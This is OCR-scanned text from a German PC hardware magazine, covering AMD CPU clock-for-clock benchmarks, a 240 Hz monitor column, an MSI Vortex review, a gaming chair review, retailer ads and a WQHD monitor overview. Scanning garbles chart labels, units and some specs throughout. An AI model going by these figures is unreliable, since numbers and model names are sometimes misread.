Piledriver 8M (4m/8t, NB © 2,2 GHz) mwa m 60,1 (21 96) 
Bulldozer 8M (4т/8ї, NB @ 2,2 GHz) EX s 52,9 (+7 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) Ea ew 60,6 (+22 9) 


Piledriver 8M (2m/4t, NB @ 2,2 GHz) muu E 56,9 (+15 90) 
Bulldozer 8M (2m/4t, NB @ 2,2 GHz) Egg s 50,2 (+1 90) 


Excavator OM (2m/4t, NB @ 1,3 GHz) Es peu 46,3 (-7 %) 
Steamroller OM (2m/4t, NB @ 1,3 GHz) Eq pu 49,7 (+0 96) 
Piledriver ОМ (2m/4t, NB © 1,3 GHz) Xs pu 49,6 (Basis) 


System: Kerntakt fix @ 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), GF GTX 980 Ti @ 1.380/3.900 MHz 
(359.06 WHQL); Windows 10 x64 (1607) Bemerkungen: DAI startet auf Dualcores nicht. 


Mimil 2 Fps 


» Besser 


System: Kerntakt fix @ 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), GF GTX 980 Ti @ 1.380/3.900 MHz 
(359.06 WHQL); Windows 10 x64 (1607) Bemerkungen: FC4 startet auf Dualcores nicht. 


Mimil 2 Fps 


» Besser 
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L3-Cache und eine um mehr als 
zwei Drittel schnellere integrierte 
North-bridge bewirken können, ha- 
ben wir die AM3-CPUs zudem mit 
nur zwei aktiven Modulen antreten 
lassen. Den Abschluss bilden ein auf 
zwei Kerne beschränkter Thuban 
(Phenom II X 4) und Windsor 
(Athlon 64 X2 6400+) aus der alten 
Generation. 


„Zerg Rus 


Performance-Analyse: 

IPC bei AMD-Prozessoren 
Über alle acht Spiele unseres Bench- 
mark-Parcours liegt Excavator 5,5 
Prozent vor Steamroller. Der Max 
malvorsprung beträgt 10 Prozent 
in F1 2015 (das Spiel nutzt AVX[2]), 
während in Far Cry 4 ein Rückstand 
von 7 Prozent zu verzeichnen ist. 
Dieser Rückstand gilt ebenso auf 


720p, kein AA/AF/minimales Post-Processing) 


Piledriver 8M (4m/8t, NB @ 2,2 GHz) mw  10,2 (+15 %) 
Bulldozer 8M (4m/8t, NB @ 2,2 GHz) Es s 8,6 (+-3 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) ua EE 10,5 (+18 96) 


Piledriver 8M (2m/4t, NB @ 2,2 GHz) [ERR 9,7 (+9 96) 
Bulldozer 8M (2m/4t, NB © 2,2 GHz) ES es 8,5 (+-4 96) 


Excavator 0M (2m/4t, NB @ 1,3 GHz) mua EE 9,6 (+8 96) 
Steamroller OM (2m/4t, NB @ 1,3 GHz) Egi p 8,9 (+0 96) 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) ESSE 8,9 (Basis) 


Thuban 6M (2c/2t, NB @ 2,2 GHz) [REESE 9,4 (+6 96) 
Windsor ОМ (2c/2t) ES E 7 9 (+-11 96) 


System: Kerntakt fix 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 


MHz (359.06 WHQL); Windows 10 x64 (1607) 


GCLD 


Mimil 2 Fps 
» Besser 


Pro-MHz-Entwicklung AMD | PROZESSOREN 


Piledriver. Doch hier kommen im 
Schnitt 12 Prozent Vorsprung he- 
raus, denn speziell in Dragon Age: 
Inquisition ist Excavator deutlich 
flotter (+31 %) als die alte Architek- 
tur. Auch Steamroller hängt jene um 
23 Prozent ab. Trotz allem tragen 
AMDs 
Früchte und E 


Stromsparanstrengungen 
ivator nimmt in un- 
serem Test nie mehr Leistung auf als 


der vergleichbare Steamroller - im 
Gegenteil, meistens stehen trotz hó- 
herer Performance 6 Watt weniger 


auf dem Strommessgeräte. 


Der Test zeigt, dass AMD verstan- 
den hat, worauf man in der Zukunft 
achten sollte, und geben Anlass zur 
Hoffnung, dass mit Ryzen tats 

lich ein grofser Sprung gelingt. (cs) 


,Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Piledriver 8M (4m/8t, NB © 2,2 GHz) ER El 66,3 (+99 96) 
Bulldozer 8M (4m/8t, NB @ 2,2 GHz) 60,6 (+81 96) 
Thuban 6M (6c/6t, NB @ 2,2 GHz) Eg 50,8 (+52 96) 


Piledriver 8M (2m/4t, NB © 2,2 GHz) Egi 39,7 (+19 96) 
Bulldozer 8M (2m/4t, NB © 2,2 GHz) Egg 35,8 (+7 %) 


Excavator 0M (2m/4t, NB @ 1,3 GHz) EX 37,2 (+11 96) 
Steamroller OM (2m/4t, NB © 1,3 GHz) EEE 34,4 (+3 96) 
Piledriver ОМ (2m/4t, NB @ 1,3 GHz) [XS ШЕШШ 33,4 (Basis) 


Thuban 6M (2c/2t, NB @ 2,2 GHz) FSI 18,8 (-44 96) 
Windsor ОМ (2c/2t) ВЕ 14,9 (-55 96) 


System: Kerntakt fix 3,2 GHz, Stromspar-Funktionen aus, 2 x 8 GiB DDR3-1600 (8- 
8-8-24) Windsor: 4 x 2 GiByte DDR2-800 (5-5-5-12), Geforce GTX 980 Ti @ 1.380/3.900 


MHz (359.06 WHQL); Windows 10 x64 (1607) 


Mimil ø Fps 
» Besser 
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Kommentar 


Monitore mit 240 Hz sind eine gute Alter- 
native zu Freesync und G-Sync — zumin- 
dest theoretisch. 


Ja, die variable Bildwiederholrate ist ein tolles 
Feature gegen Bildrisse. Das Problem ist nur, 
dass man sich damit auch mit dem Monitor an 
einen der beiden Grafikkarten-Hersteller binden 
muss — gerade weil die Lebensdauer eines Mo- 
nitors deutlich länger ist als die der Grafikkarte 
im Rechner. Dafür erfordern aber aktuell beide 
Religionen zu große Opfer, um mich einer da- 
von ein halbes Jahrzehnt zu verschreiben: Nvi- 
dia langt beim Preis kräftig hin, sowohl bei der 
High-End-Grafikkarte als auch beim Monitor 
mit G-Sync-Modul. Von AMD gibt es Freesync 
zwar quasi umsonst, dafür ist die Leistung einer 
Radeon RX 480 aktuell bestenfalls mittelmäßig. 


Dabei werden die Bildrisse mit einer statischen 
hohen Bildwiederholrate an sich schon kürzer 
und verschwinden ab circa 200 Hz nahezu voll- 
kommen. Alles ganz ohne Synchronisierung. 
Und nein, nicht erst dann, wenn auch entspre- 
chend hohe Frameraten erreicht werden — wo- 
her kommt eigentlich das Gerücht? Auch 60 Fps 
können in so manchem Spiel ganz ohne G- oder 
gar V-Sync mit 240 Hz eine nie dagewesene Ge- 
schmeidigkeit erreichen. 


Mein Loblied auf die hochfrequenten Moni- 
tore verstummt aber abrupt, wenn ich deren 
Preis-Leistungs-Verhältnis bei der aktuellen 
Marktlage anschaue: Ausschließlich TN-Panels 
in 1080p-Auflösung, wofür ich nicht willens 
bin, 500 Euro zu zahlen. Dabei wäre ich schon 
bereit, für ein gutes Kompromissmodell auch 
gutes Geld auszugeben, wenn es mich vor einer 
Knechtschaft bewahrt und ich alle Freiheiten in 
Sachen GPU hätte. 240 Hz allein aber reicht mir 
nicht. Eventuell überzeugen mich ja Freesync 2 
oder G-Sync HDR zur Jüngerschaft. Bis dahein 
bleibe ich wohl konfessionslos. 
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Laut, aber klein und leistungsfähig. Daran hat sich 
nichts geändert beim MSI Vortex, der letztes Jahr 
mit einem SLI-Gespann aus zwei Geforce GTX 980 
vorgestellt wurde. 


ittlerweile sind sowohl bei Prozessoren 
M. auch bei Grafikchips neue Genera- 
tionen verfügbar, sodass MSI den schicken Ei- 
mer mit aktueller Hardware aufgerüstet hat. 
Aus Skylake wird Kaby Lake und aus Maxwell 
wird Pascal. Konkret gesagt ist der Intel Core 
i7 6700K durch einen i7 7700K ausgetauscht 
worden und die beiden GTX 980 durch zwei 
aktuelle GTX 1080. Die Haken dabei: der Lirm 
unter Last und der hohe Preis. Bei einer Hóhe 
von knapp 28 cm und einem Durchmesser von 
etwa 20 cm handelt es sich um kompakte Va- 
rianten der GTX 1080 mit MXM-Schnittstelle, 
Letztere war vor einigen Jahren noch in Note- 
books vorhanden. Der Vortex ist daher nichts 
fürs einfache Aufrüsten, denn MXM-Grafikkar- 
ten sind nicht mehr im regulären Handel wie 
etwa herkómmliche PCIe-Modelle. 


Natürlich ist der aktuelle Vortex mit neuer 
GPU in Spielen etwas leistungsfähiger als das 


Vorjahresmodell. Wir haben mit dem Bench- 
mark von The Witcher 3 die Stichprobe vom 
Leistungs-Plus erhoben. Schon 2016 hatte das 
980er SLI-Gespann keine Probleme mit einer 
4K/UHD-Auflösung. Statt durchschnittlichen 
32 Fps kommen wir im Benchmark nun auf 
36 Fps beim aktuellen GTX-1080-Gespann, was 
eine Steigerung um etwa 12 Prozent bedeutet. 
In Full-HD-Auflösung ist der Fps-Zuwachs noch 
kräftiger: Im selben Benchmark ermittelten 
wir damals 64 Fps und heute 84 Fps - gut 28 
Prozent mehr Bilder pro Sekunde. Wer keine 
Rekordwerte bei den Fps sucht, kann etwa mit 
Vsync oder Frame Limit das Leistungsplus in ei- 
nen ruhigeren Betrieb investieren. (mc) 


Fazit Нагйшаге 


Kompakter НїпдисКег 

Nach wie vor gebührt MSI Respekt für das Konzept, 
High End auf so kleinem Raum unterzubringen und 
mit nur einem Lüfter gekühlt zu bekommen. Der kleine 
Eimer eignet sich also bestens für das Spielen auf dem 
4K-TV. Mit nur 6,5 Litern Raum bietet der Vortex Top- 
Leistung überall dort, wo ein Tower zu sperrig wäre. 
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Tesoro Zone Balance: günstiger, bequemer Gaming-Chair 


Mit dem Zone Balance will die Firma Tesoro, die 
sich als Hersteller von Spieler-Peripherie etabliert 
hat, nun im Markt für Gaming Chairs mitmischen. 


it Noblechairs, Nitro Concepts, Vertagear, 

Thunder X3 und Speedlink buhlen viele 
Hersteller sogenannter Gaming Chairs um die 
Gunst der PC-Spieler. In diesen Markt steigt nun 
auch Tesoro ein und präsentiert mit dem Zone 
Balance einen Debütanten, der durch seinen 
günstigen Preis auffällt. Welche Ausstattung und 
welchen Sitzkomfort kann man von einem Ga- 
ming Chair erwarten, der nur 180 Euro kostet. 


Die meisten Features, die an einem von uns mit 
fünf Sternen bewerteten Gaming-Chair wie dem 
Maxnomic Office Comfort (ca. 400 Euro) vorhan- 
den sind, finden wir auch bei Tesoros Zone Balan- 
ce wieder. Die Basis der Rückenlehne und Sitzflä- 
che ist ein Metallrohrrahmen (siehe Bild), der mit 
PU-Kunstleder überzogen und an den Bereichen 
der Schulter- und Seitenwangen (Lehne) sowie 
Beckenwangen (Sitzfläche) mit PU-Kaltschaum 
ausgepolstert ist. Selbiges Material kommt auch 
bei den ebenfalls mit Kunstleder bezogenen Kon- 
taktflächen zum Einsatz, die auf der mit Querstre- 
ben verstärkten Rahmenkonstruktion aufliegen. 
Wie wir positiv feststellen, werden diese Streben 
im Fall der Sitzeinheit noch durch Elastikbänder 
verstärkt, damit sich der Kaltschaum nicht zu 
sehr nach unten durchdrückt. Zur weiteren Aus- 
stattung gehören die Fußkonstruktion aus Druck- 
guss mit fünf leichtgängigen Rollen, eine Einheit 
mit stufenloser Höhenverstellung sowie einer 
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Das Grundgerüst des Tesoro Zone Balance bildet ein Metallrohrrahmen und die Sitzfläche ist mit Elastikbändern 
verstärkt. Dieses Ausstattungsmerkmal kennen wir sonst nur von Gaming-Chairs der Klasse ab 300 Euro aufwärts. 


per Hebel blockierbaren Wippmechanik, deren 
Widerstand ebenfalls per Drehknopf eingestellt 
werden kann. Dazu kommen die 3D-Armlehnen, 
die sich in der Hóhe verstellen, nach vorn und 
hinten verschieben und drehen lassen sowie ein 
Kissen für die Lende und den Nacken. 


Mit 57/38 cm Breite (Außenmaß/Innenmaß) 
und 55 cm Tiefe fällt die Sitzfläche auch für Spie- 
ler mit einem etwas breiteren Gesäß und/oder 
langen Oberschenkeln ausreichend grofš aus. 
Die 78 cm hohe und in einem Winkel von 90° bis 
180° Grad verstellbare Rückenlehne stützt auch 
bei einer Gesamtkórpergrófse von bis zu 1,80 
Metern den Rücken sowie den Schulterbereich 
noch sehr gut. Für Personen, die grófser als 1,80 
Meter sind, eignet sich der Zone Balance nicht. 


Modell Zone Balance 


Hersteller/Webseite 


Preis/Preis-Leistungs-Verhältnis 


Gesamthöhe (mit Basis) 


Link zum PCGH-Preisvergleich www.pcgh.de/preis/1558704 


Ca. € 180,-/gut bis sehr gut 


|Ca. 127 cm bis 135 cm 


Tesoro/www.tesorotec.com 


Breite (auf Schulterhöhe/auf Beckenhöhe)/Höhe Rückenlehne 


Ca. 57 cm/ca. 50 cm/78 cm 


Breite (Außenmaß/Innenmaß)/Tiefe Sitzfläche 


Ca. 57 cm/ca. 38 cm/ca. 55 cm 


Gesamtgewicht 


26 kg 


Material Fuß/Rollen/Rahmen/Polsterung/Bezug 


Druckguss/Hartplastik/lackiertes Stahlrohr, Sitzeineinheit mit Elastik-Bändern/ 
PU-Kaltschaum (6 cm Dicke)/Kunstleder (Polyurethan) 


Maximalbelastung 


120 kg 


Weitere Extras 


Zusammenbau 


Kopf- und Lendenkissen, stufenlose, per Hebel blockierbare Wippmechanik 
mit einstellbarem Widerstand (Drehknopf) 3D-Armlehne 


abdeckung des Gelenks zwi 


Einfach 
und Sitzfláche zu kurz) 


Geeignet für Körpergröße 


K. A., Vermutlich bis maximal 180 cm 


Verarbeitung Fuß/Höhenverstellung/Sitzfläche/Lehne 


Gut/gut/sehr gut/sehr gut 


Anpassbare Rückenlehne (Winkel) 


Sehr gut (kann von 90? bis 180? verstellt werden) 


Armlehnen verstellbar (Höhe/drehbar/vertikal/horizontal) 


Ja (sechsstufig)/ja/ja/nein 


Sitzflächenhöhe verstellbar 


Polsterhärte 


Ja, stufenlos per Druckluftheber (Gasfeder Klasse 4, 8 cm Hubhöhe) 


Hart, trotzdem sehr bequem 


Standfestigkeit/Rolleigenschaften 


Gut/sehr leichtgängig 


Sitzkomfort/Ergonomie/Anpassungsmöglichkeiten Ergonomie 


Bequem/gut bis sehr gut/gut 


Komfort Gamer-Haltung mit Mouse und Tastatur 


Bequem (90-Grad-Stellung Lehne und gute Anpassung der Armlehne, Lordosen- 


FAZIT 


kissen zurErgonomieverbesserung) — 

© Harte, aber trotzdem bequeme Sitzfläche 

© Sitzkomfort (allgemein/Gamer-Haltung) 

© Nur 3D-Armstützen, keine integrierte Lordosenstütze 


Wertung: Xx XX» 
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Mehr als 120 kg sollte man auch nicht wiegen, 
denn dann kann der Gaming Chair instabil wer- 
den. Sitzt jedoch eine rund 90 kg schwere Per- 
son auf dem Zone Balance, ist der Stuhl weder 
instabil oder wackelig. Obwohl man bei Tesoros 
Sitzmóbel auf eine in die Rückenlehne integrier- 
te Lendenstütze verzichten muss, bietet er eine 
gute bis sehr gute Ergonomie. Der Rücken wird 
durch die harte, sich ordentlich an die Form der 
Wirbelsäule anpassende Kontaktfläche sehr gut 
gestützt. Beim Sitzkomfort punktet unser Spar- 
tipp mit Seitenwangen, die dem Becken guten 
Halt geben, sowie mit einer harten Sitzfläche, die 
sehr bequem ist. Man spürt den Kontakt mit dem 
Hintern zwar deutlich, 
sinkt trotzdem 


(fs) 


aber 
nicht zu weit ein. 


SPAR-TIPP 


Tesoro 
Zone Balance 


Hardıuare 
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Jubiläums PC 


Windows 10 
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ALTERNATE Jubiläums PC 


NVIDIA 
Der ALTERNATE 25 Jahre Jubiláums-PC kommt mit einem Intel® Core™ 15-7600К (3,8 GHz) 


GEFORCE’ 
GX ^ «NU 
m. Br “Z 
Prozessor und 16 GB DDR4-Arbeitsspeicher. Die NVIDIA GeForce GTX 1060-Grafikkarte sowie 


der Gigabit-Anschluss ermóglichen einen vielseitigen Einsatz. Die weitere Ausstattung 1 199) 
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mit einem DVD-Brenner, einer 275-GB-SSD sowie einer 2-TB-SATA-Festplatte, Sound und 
dem Microsoft-Betriebssystem Windows 10 Home 64-Bit lásst beim ALTERNATE 25 Jahre 
+ Intel® Core™ i5-7600K Prozessor (3,8 GHz) 


Jubiläums-PC kaum Wünsche offen. DIN Een 
` 16 GB DDRA-RAM 
+ 275-GB-SSD, 2000-GB-HDD 


Um die aktuellen PC-Spiele mit nur einem Klick, optimiert und in Ihrer vollen Pracht genießen - DVD-Brenner - Gigabit-LAN 
zu kónnen, haben wir für Dich NVIDIA GeForce Experience vorinstalliert. ` Windows 10 Home 64-Bit (OEM) 
Teile Deine schónsten Gaming-Momente. 


NONEM 


SERVICE 


ALTERNATE GmbH | Philipp-Reis-Straße 2-3 | 35440 Linden | Fon: 06403-905040 | info@alternate.de 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 e 90 50 40 
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| И i GAMERS 
mechanische Gaming-Tastatur optische Gaming-Maus ° 12.000 dpi 

Razer Green Switches 40 G » 1000 Hz Ultrapolling 

anpassbare Chroma-Hintergrundbeleuchtung programmierbare Beleuchtung und Tasten 

mit 16,8 Mio. Farben für Turniere geeignet - gemeinsam mit 

Anti-Ghosting mit 10-Tasten-Rollover Gaming-Profis entwickelt 
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MESS | U 2, N 
IN SEARCH OF INCREDIBLE 
Gaming-Headset 
Grafikkarte « NVIDIA GeForce GTX 1070 versenkbares Mikrofon mit LED-Monitor • 62,2 cm (24,5") Bilddiagonale • 1.920x1.080 Pixel 
1582 MHz Chiptakt (Boost: 1771 MHz) Rauschunterdrückung s И > x ^ š 
8 GB GDDR5-RAM ° 1920 Shadereinheiten ze ler reme 1 ms Reaktionszeit • Kontrast: 1.000:1 • Energieklasse: В 
DirectX 12 und OpenGL 4.5 stabiles Kopfband max. 240 Hz ° Helligkeit: 400 cd/m? e HDMI, DisplayPort, 2x USB 3.0 
Зх DisplayPort, 1x HDMI, 1x DVI • PCle 3.0 x16 
ЈЕХҮОСО7 е KH#RC1 : V6LO0003 


good memories start here 


EE ATX-Mainboard • Sockel 1151 ATX-Mainboard • Sockel 1151 externe USB-3.0-Festplatte 
1.506 MHz Chiptakt (Boost: 1.708 MHz) Intel® Z270 Chipsatz Intel® Z270 Chipsatz 1 TB Kapazität ° 2,5 Zoll Formfaktor 
6 GB GDDR5-RAM (8,0 GHz) Gigabit-LAN • 8 Kanal-HD-Sound Gigabit-LAN • 8 Kanal-HD-Sound Stoßfestigkeit nach Militärstandard 
1.280 Shadereinheiten • DirectX 12 & OpenGL 4.5 „ 4x DDR4-RAM • 6x SATA 6Gb/s • 2x M.2 4x DDR4-RAM » 6x SATA 6Gb/s • 2x M.2 One Touch Auto-Datensicherung 
Зх DisplayPort, HDMI, DVI • PCle 3.0 x16 3x PCle 3.0 x16, 3x PCle 3.0 x1 3x PCle 3.0 x16, 4x PCle 3.0 x1 TS1TSJ25M3 
JFXWOCI1O GKEM74 : GKEA77 AAUQL2 
— — — үй в 
crucial p ICYBOX 
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Bis zu 25-та! bessere Leistung als 
eine typische Festplatte 


Sockel-1151-Prozessor • Kaby Lake Arbeitsspeicher e СТ8640Е58213 4Port USB Ladegerät • 4x USB Effizientes Multitasking und 

4 Kerne • 3,40 GHz Basistakt Timing: 15 2x bis zu 1 A, 2x bis zu 24 A Workload-Management 

3,80 GHz max. Turbo DIMM DDR4-2.133 (PC4-17.000) Geräte aller Marken Lesegeschwindigkeiten bis zu 550 MB/s, 

6 MB Cache • Intel® HD Graphics 630 Modul 8 GB Anschluss mit QC 2.0 Spezifikation Schreibgeschwindigkeiten bis zu 500 MB/s 


Kühl, leise und energieeffizient — 
mit bis zu 15 96 lángerer Akkulebensdauer 
НК5115 IDIGCH32 ODNVR4 IMJM6G 
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Der Pixelkompromiss 


Eine 4K/UHD-Auflósung zwingt selbst High-End-Grafikkarten in so manchem Spiel in die Knie und Full 
HD kommt in die Tage. WQHD mit 2.560 x 1.440 Pixel ist aktuell die goldene Preis-Leistungs-Mitte. 


ine 4K/UHD-Auflósung mit 
Iss 3.840 x 2.160 Pixeln 
ist natürlich beeindruckend. So 
fein aufgelóst kommt die immer 
schicker werdende Grafik von PC- 
Spielen umso besser zur Geltung. 
Die grofse Pixelmenge fordert aber 
ihren Tribut, nämlich eine teure 
High-End-Grafikkarte - zumindest 
wenn die Grafikdetails auf ein an- 
sehnliches Niveau eingestellt sind. 
Selbst eine Geforce GTX 1080 
schafft es in der vierfachen Full- 
HD-Auflósung nur in die Region 
um 60 Fps. Da die Pixelmenge der 
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Monitore schneller wächst als die 
Leistung der Grafikkarten, spielen 
noch immer die meisten in Full 
HD: In einer Umfrage im PCGH- 
Forum gab 2016 fast die Hálfte aller 
Teilnehmer die 1.920 x 1.080 Pixel 
als favorisierte Auflósung in PC- 
Spielen an. Aktuelle Grafikkarten 
sind damit oft schon unterfordert. 
Wohl auch ein Grund, warum die 
Bildqualität mit Downsampling im- 
mer beliebter wird - also ein hóher 
auflösendes Bild berechnet und 
dann zur Ausgabe wieder auf Full 
HD reduziert wird. 


Eine Alternative dazu ist die WQHD- 
Auflósung über 2.560 x 1.440 Pixel, 
die auch gelegentlich QHD oder 
Wide Quad HD genannt wird. Es 
handelt sich hier um die vierfache 
720p-Auflósung, etwa drei Viertel 
Pixel mehr als bei Full HD bzw. 
circa 44 Prozent der 4K/-UHD-Auf- 
lósung. Und da WQHD-Monitore 
nicht unbedingt viel teurer als ver- 
gleichbare Full-HD-Modelle sind, 
ist dieses Zwischenformat gerade 
für die Preis-Leistungs-Mittelklasse 
interessant. Mit WOHD gibt es am 
meisten Pixel fürs Geld beim Moni- 


torkauf, wie diese Marktübersicht 
zeigen wird. Qualitativ gute und 
recht teure Full-HD-Modelle sind 
noch immer erhältlich, ebenso be- 
reits vereinzelt welche mit UHD- 
Auflósung zum  Einsteigerpreis. 
Aber ein solider Kompromiss aus 
vielen Pixeln, hohem Fps-Wert, 
guter Reaktionszeit und fairem 
Preis wird am ehesten mit einem 
WOHD-Monitor erzielt. 


Keine Frage: Aktuelle Spiele in 


1440p-Auflösung erfordern eine 
potente — Mittelklasse-Grafikkarte. 
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Auf die Pixeldichte kommt es an 


Je höher die Auflösung und je kleiner die Bildschirmdiagonale, umso mehr Pixel auf der Fläche. Die Pixeldichte wird oft in Pixel pro Zoll, kurz ppi (pixel per inch) 
angegeben. Bei den unten gezeigten Bildern handelt es sich um Makrofotos — sie wurden also vom Display abfotografiert. 


\ " d ii 
wig + 


Der abgebildete Auszug unserer 
Referenzbenchmarks drei Seiten 
weiter zeigt, dass man hier erst ab 
einer Geforce GTX 1060 oder Ra- 
deon RX 480 glücklich wird, was 
Frameraten angeht. 


Testsystem-Kosmetik 

Abgesehen davon, dass der Fach- 
redakteur jedes Mal aufs Neue ver- 
sucht, die abgedruckten Merkmale 
und Messergebnisse in der Testta- 
belle sinnvoll auszuwählen, hat sich 
an unserem Testparkour für Moni- 
tore wenig geändert: Wohl nicht 


www.pcgameshardware.de 


der wichtigste Wert für Gamer, 
aber zumindest gänzlich neu ist die 
Messung der Farbtreue mittels der 
Kalibrierungssoftware CalMan und 
dem Kolorimeter ilDisplay von 
X-Rite. Professionellen Grafikern 
oder ambitionierten Bildbearbei- 
tern sind geringe Farbabweichun- 
gen wichtig. Diese werden mit dem 
sogenannten Delta-E-2000-Wert an- 
gegeben. Ohne hier ins Detail zu ge- 
hen, sei kurz erwähnt, dass für Pro- 
fis eine geringe Differenz zwischen 
Eins und Zwei erstrebenswert ist 
und meist nur mit Kalibrierung er- 


Full 


2.160 Pixel) bei 32 Zoll, 137,6 


1 


reicht wird. Unsere Gaming- sowie 
08/15-Modelle erreichen mittlere 
Farbabweichungen deutlich unter 
Zehn, was für Gamer und Privat- 
anwender absolut akzeptabel ist. 
Ein Gamer macht sich wenn über- 
haupt nur die Mühe, die Monitor- 
Einstellungen an das jeweilige 
Spiel etwas anzupassen. Für uns 
wird durch die Messung aber er- 
sichtlich, ob das Display im Auslie- 
ferungszustand einige Schwächen 
in der Farbdarstellung aufweist. 
Günstige TN-Panels etwa neigen 
zum Blaustich. Mittlerweile ist hier 


die Bildqualität generell merklich 
besser geworden, was auch diese 
Marktübersicht bestätigt. Im glei- 
chen Messverfahren werden auch 
Maximalhelligkeit und Schwarz- 
wert ermittelt. Aus dem Verhältnis 
beider Werte errechnen wir den 
Kontrast Da die Hersteller pau- 
schal immer 1000:1 ins Datenblatt 
klatschen, lohnt es sich umso mehr, 
hier genau nachzumessen. 


Unser Sorgenkind ist die Reaktions- 
zeit der Displays, die wir bislang 
nur ungenau ermitteln konnten, 
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Welche GPU schafft wie viele Fps in WQHD? 


Overwatch ,Dorado" 


Geforce GTX 1080 91.733. XXX ШЕШ 120,4 (+81 96) 
Geforce GTX 1070 91.683 94,9 (+43 96) 
Geforce GTX 1060/6G 1.709 Ee 67,2 (+1 96) 
Geforce GTX 970 91.178. EXE 59,9 (-10 96) 


Radeon RX 480/8G EEE 66,4 (Basis) 
Radeon RX 480/4G 601 66,1 (-0 96) 
Radeon R9 390 EX 61,3 (-8 96) 
Radeon R9 290 KÇQREKIIFcCÇX€çIIDSQGŠI€”ŠÇI<7UgƏIIÓIZY(-14%) 
The Witcher 3 „Boat Trip" 


Geforce GTX 1080 91.733 EH 75,5 (+84 96) 
Geforce GTX 1070 91.683 EX 5611 58,7 (+43 96) 
Geforce GTX 1060/6G @1.709 [ui] 41,4 (+1 96) 
Geforce GTX 970 91.178 [351] 36,8 (-10 96) 


Radeon RX 480/8G. Egi 41,1 (Basis) 
Radeon RX 480/4G. 3t! 40,0 (-3 %) 
Radeon R9 390 EBEN 33,2 (-19 %) 
Radeon R9 290 ERS 31,6 (-23 96) 
Rise of the Tomb Raider „бео Valley" (DX12) 
Geforce GTX 1080 91.733 Esp! 53,5 (+88 %) 
Geforce GTX 1070 91.683. MEE 45,3 (+46 %) 
Geforce GTX 1060/6G 1.709 ШЕЮ 31,4 (+1 96) 
Geforce GTX 970 91.178 EIN 21,6 (-31 %) 


Radeon RX 480/8G. GE 31,1 (Basis) 
Radeon RX 480/4G. Eas 30,2 (-3 96) 
Radeon R9 390 E361 29,7 (-5 %) 
Radeon R9 290 MEA 27,7 (-11 96) 
Grand Theft Auto 5 ,,Grapeseed" 
Geforce GTX 1080 91.733 putt 46,5 (4-93 96) 
Geforce GTX 1070 81.683 gen 38,0 (+58 96) 
Geforce GTX 1060/6G 1.709 [99611 28,4 (+18 %) 
Geforce GTX 970 91.178 БШШШ 24,1 (0 96) 


Radeon RX 480/8G. ШШШ 24,1 (Basis) 

Radeon RX 480/4G EEE 23,4 (-3 96) 
Radeon R9 390 [2311 25,7 (+7 96) 
Radeon R9 290 [Ht 23,4 (-3 %) 


Bemerkungen: In unseren Referenz-Benchmarks mit hohen Grafikdetails zwingt so 
manch aktuelles Spiel selbst High-End-Grafikkarten an die Spielbarkeitsgrenze. 


Mimil 2 Fps 


» Besser 


CalMAN 
ü 


ColorChecker® Analysis 


"TT 


zm | u “sm. H 


jelta: 12,3 
- 


Farbabweichungen, maximale 
Helligkeit, Schwarzwert und 
somit auch Kontrast ermitteln 
wir mit einem Kolorimeter 

und der Software CalMan. 
Diese Werte sind unter anderem 
entscheidend für die Bewertung 
der Bildqualität. 
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die aber für die Spieletauglichkeit 
ein wichtiger Indikator ist. Da un- 
sere Werte mit professionellen 
Messungen nicht mal tendenziell 
übereinstimmten, haben wir uns 
entschlossen, die Reaktionszeit vor- 
erst konsequent zu streichen. Der 
Fachredakteur arbeitet weiterhin 
fieberhaft an einer Lösung mittels 
Fotodiode und Oszilloskop. Bis es 
aber so weit ist, müssen wir auf 
die Herstellerangaben vertrauen. 
Immerhin: Zumindest können wir 
den Input Lag messen. Das geht mit 
einem kleinen, einfachen Messge- 
rät des britischen Ingenieurs Leo 
Bodnar. Da dieses aber nur in Full 
HD am HDMI-Ausgang misst, ist 
selbst dieser Wert mit Vorsicht zu 
geniefsen. 


Marktübersicht-Filter 

Vom Einsteigermodell bis hin zur 
Mittelklasse haben wir mit zehn 
Modellen einen repräsentativen 
Querschnitt des WQHD-Portfolios 
erhoben. Auf High End haben wir 
bewusst verzichtet, um die Ein- 
gangsthese des guten Preis-Leis- 
tungs-Kompromisses zu prüfen. 
Ein etwas teureres Modell führen 
wir dennoch mit auf - aber nur, 
um den Vergleich zur Mittelklasse 
aufzuzeigen. Bis auf diese Ausnah- 
me haben wir versucht, uns nicht 


über 500 Euro zu bewegen. Bei 
den Modellen ohne G-Sync ist uns 
das auch gelungen. Was die Moni- 
torgrófse betrifft, so haben wir uns 
auf die beiden beliebtesten Bilddia- 
gonalen über 24 Zoll und 27 Zoll 
beschränkt Kleinere und grófsere 


An neun Stellen messen wir 
die Helligkeit des Displays. Die 
Software von X-Rite spuckt 
die prozentuale Abweichung 
zur Bildschirmmitte aus. In der 
Testtabelle ist stets die größte 
Abweichung genannt. Gut ist 
ein Wert unter zehn Prozent. 


Displays sind eher exotisch - ge- 
nauso wie alternative, ähnliche 
Seitenformate wie das breitere 21:9 
oder das höhere 16:10. 16:9 ist mit 
Abstand das beliebteste Seitenver- 
hältnis. 


Viewsonic XG2703-GS: G-Sync, 165 
Hz und IPS kosten eben. Schon das 
Datenblatt weist auf ein Gerät der 
Oberklasse hin. Ein 27-Zoll-Mo- 
nitor mit IPS-Panel und variabler 
Bildwiederholrate zwischen 30 
und 165 Hz. Das G-Sync-Modul für 
Nvidia-Grafikkarten allein kostet 
einen Aufpreis von circa 150 Euro. 
Das wissen wir von Zwillingsmo- 
dellen anderer Hersteller, die ein 
und denselben Monitor sowohl als 
Freesync- als auch als G-Sync-Vari- 
ante anbieten. Aber eine hohe Bild- 
wiederholrate an sich treibt schon 
den Preis in die Höhe. Wie auch an 
den anderen Modellen ersichtlich, 
steigen Hertz und Euro proporti- 
onal an. Der Viewsonic-Monitor 
